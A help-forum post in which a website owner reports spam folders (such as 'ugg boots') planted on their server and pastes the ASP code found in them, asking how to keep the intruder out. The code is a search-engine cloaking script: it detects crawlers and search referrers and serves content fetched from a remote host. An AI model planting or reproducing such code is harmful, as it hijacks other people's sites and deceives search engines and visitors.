zarathustra
Perch
I had a big drop in internet traffic yesterday, so was trying to find the reasons for it, and I don't know if this is related, but I've suddenly found some new folders with code created on the 20th January 2012 which certainly didn't come from me! They are folders such as ugg boots, men's boots etc. with two pages in each folder - index.asp and page=index.asp and the following code:
<%
user_agent=Request.ServerVariables("HTTP_USER_AGENT")
Add_Refer=Request.ServerVariables("HTTP_REFERER")
Add_Ref=Request.ServerVariables("QUERY_STRING")
strHost=Request.ServerVariables("HTTP_HOST")
path_info=Request.ServerVariables("PATH_INFO")
come_from="google.com#google.ae#google.com.ag#google.com.af#google.off.ai#google.am#google.com.ar#google.as#google.at#google.com.au#google.az#google.ba#google.com.bd#google.be#google.bg#google.com.bh#google.bi#google.com.bo#google.com.br#google.bs#google.co.bw#google.com.bz#google.ca#google.cd#google.cg#google.ch#google.ci#google.co.ck#google.cl#google.cn#google.com.co#google.co.cr#google.com.cu#google.de#google.dj#google.dk#google.dm#google.com.do#google.com.ec#google.com.eg#google.es#google.com.et#google.fi#google.com.fj#google.fm#google.fr#google.gg#google.com.gi#google.gl#google.gm#google.gr#google.com.gt#google.com.hk#google.hn#google.hr#google.ht#google.co.hu#google.co.id#google.ie#google.co.il#google.co.im#google.co.in#google.is#google.it#google.co.je#google.com.jm#google.jo#google.co.jp#google.co.ke#google.kg#google.co.kr#google.kz#google.li#google.lk#google.co.ls#google.lt#google.lu#google.lv#google.com.ly#google.co.ma#google.mn#google.ms#google.com.mt#google.mu#google.mw#google.com.mx#google.com.my#google.com.na#google.com.nf#google.com.ni#google.nl#google.no#google.com.np#google.nr#google.nu#google.co.nz#google.com.om#google.com.pa#google.com.pe#google.com.ph#google.com.pk#google.pl#google.pn#google.com.pr#google.pt#google.com.py#google.ro#google.ru#google.rw#google.com.sa#google.com.sb#google.sc#google.se#google.com.sg#google.sh#google.sk#google.sn#google.sm#google.com.sv#google.co.th#google.com.tj#google.tm#google.to#google.tp#google.com.tr#google.tt#google.com.tw#google.com.ua#google.co.ug#google.co.uk#google.com.uy#google.co.uz#google.com.vc#google.co.ve#google.vg#google.co.vi#google.com.vn#google.vu#google.ws#google.co.za#google.co.zm#google.cat#soso.com#yahoo.com#sogou.com#cache.baidu.com#google.cn#g.cn#baidu.com#tom.com#bing.com#21cn.com"
come_array = split(come_from,"#")
FolderRoot="dress"
if check(user_agent)=true then
url=removedurl
HTMLCODE=GetHtml(url)
response.Write HTMLCODE
else
For i=0 to ubound(come_array)
if instr(Add_Refer,come_array(i)) then
url=removedurl
HTMLCODE=GetHtml(url)
response.Write HTMLCODE
exit for
end if
next
url="removedurl
HTMLCODE=GetHtml(url)
response.Write HTMLCODE
end if
Function check(user_agent)
allow_agent=split("Baiduspider,Sogou,baidu,Sosospider,Googlebot,FAST-WebCrawler,MSNBOT,Slurp",",")
check_agent=false
For agenti=lbound(allow_agent) to ubound(allow_agent)
If instr(user_agent,allow_agent(agenti))>0 then
check_agent=true
exit for
end if
Next
check=check_agent
End function
Public Function GetHtml(url)
Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
ObjXMLHTTP.Open "GET",url,False
ObjXMLHTTP.setRequestHeader "User-Agent",url
ObjXMLHTTP.send
GetHtml=ObjXMLHTTP.responseBody
Set ObjXMLHTTP=Nothing
set objStream = Server.CreateObject("Adodb.Stream")
objStream.Type = 1
objStream.Mode =3
objStream.Open
objStream.Write GetHtml
objStream.Position = 0
objStream.Type = 2
objStream.Charset = "UTF-8"
GetHtml = objStream.ReadText
objStream.Close
End Function
%>
I have changed my login password and FTP password to something much securer. Is there anything else I need to do to prevent this hacker from accessing my account?
<%
user_agent=Request.ServerVariables("HTTP_USER_AGENT")
Add_Refer=Request.ServerVariables("HTTP_REFERER")
Add_Ref=Request.ServerVariables("QUERY_STRING")
strHost=Request.ServerVariables("HTTP_HOST")
path_info=Request.ServerVariables("PATH_INFO")
come_from="google.com#google.ae#google.com.ag#google.com.af#google.off.ai#google.am#google.com.ar#google.as#google.at#google.com.au#google.az#google.ba#google.com.bd#google.be#google.bg#google.com.bh#google.bi#google.com.bo#google.com.br#google.bs#google.co.bw#google.com.bz#google.ca#google.cd#google.cg#google.ch#google.ci#google.co.ck#google.cl#google.cn#google.com.co#google.co.cr#google.com.cu#google.de#google.dj#google.dk#google.dm#google.com.do#google.com.ec#google.com.eg#google.es#google.com.et#google.fi#google.com.fj#google.fm#google.fr#google.gg#google.com.gi#google.gl#google.gm#google.gr#google.com.gt#google.com.hk#google.hn#google.hr#google.ht#google.co.hu#google.co.id#google.ie#google.co.il#google.co.im#google.co.in#google.is#google.it#google.co.je#google.com.jm#google.jo#google.co.jp#google.co.ke#google.kg#google.co.kr#google.kz#google.li#google.lk#google.co.ls#google.lt#google.lu#google.lv#google.com.ly#google.co.ma#google.mn#google.ms#google.com.mt#google.mu#google.mw#google.com.mx#google.com.my#google.com.na#google.com.nf#google.com.ni#google.nl#google.no#google.com.np#google.nr#google.nu#google.co.nz#google.com.om#google.com.pa#google.com.pe#google.com.ph#google.com.pk#google.pl#google.pn#google.com.pr#google.pt#google.com.py#google.ro#google.ru#google.rw#google.com.sa#google.com.sb#google.sc#google.se#google.com.sg#google.sh#google.sk#google.sn#google.sm#google.com.sv#google.co.th#google.com.tj#google.tm#google.to#google.tp#google.com.tr#google.tt#google.com.tw#google.com.ua#google.co.ug#google.co.uk#google.com.uy#google.co.uz#google.com.vc#google.co.ve#google.vg#google.co.vi#google.com.vn#google.vu#google.ws#google.co.za#google.co.zm#google.cat#soso.com#yahoo.com#sogou.com#cache.baidu.com#google.cn#g.cn#baidu.com#tom.com#bing.com#21cn.com"
come_array = split(come_from,"#")
FolderRoot="dress"
if check(user_agent)=true then
url=removedurl
HTMLCODE=GetHtml(url)
response.Write HTMLCODE
else
For i=0 to ubound(come_array)
if instr(Add_Refer,come_array(i)) then
url=removedurl
HTMLCODE=GetHtml(url)
response.Write HTMLCODE
exit for
end if
next
url="removedurl
HTMLCODE=GetHtml(url)
response.Write HTMLCODE
end if
Function check(user_agent)
allow_agent=split("Baiduspider,Sogou,baidu,Sosospider,Googlebot,FAST-WebCrawler,MSNBOT,Slurp",",")
check_agent=false
For agenti=lbound(allow_agent) to ubound(allow_agent)
If instr(user_agent,allow_agent(agenti))>0 then
check_agent=true
exit for
end if
Next
check=check_agent
End function
Public Function GetHtml(url)
Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
ObjXMLHTTP.Open "GET",url,False
ObjXMLHTTP.setRequestHeader "User-Agent",url
ObjXMLHTTP.send
GetHtml=ObjXMLHTTP.responseBody
Set ObjXMLHTTP=Nothing
set objStream = Server.CreateObject("Adodb.Stream")
objStream.Type = 1
objStream.Mode =3
objStream.Open
objStream.Write GetHtml
objStream.Position = 0
objStream.Type = 2
objStream.Charset = "UTF-8"
GetHtml = objStream.ReadText
objStream.Close
End Function
%>
I have changed my login password and FTP password to something much securer. Is there anything else I need to do to prevent this hacker from accessing my account?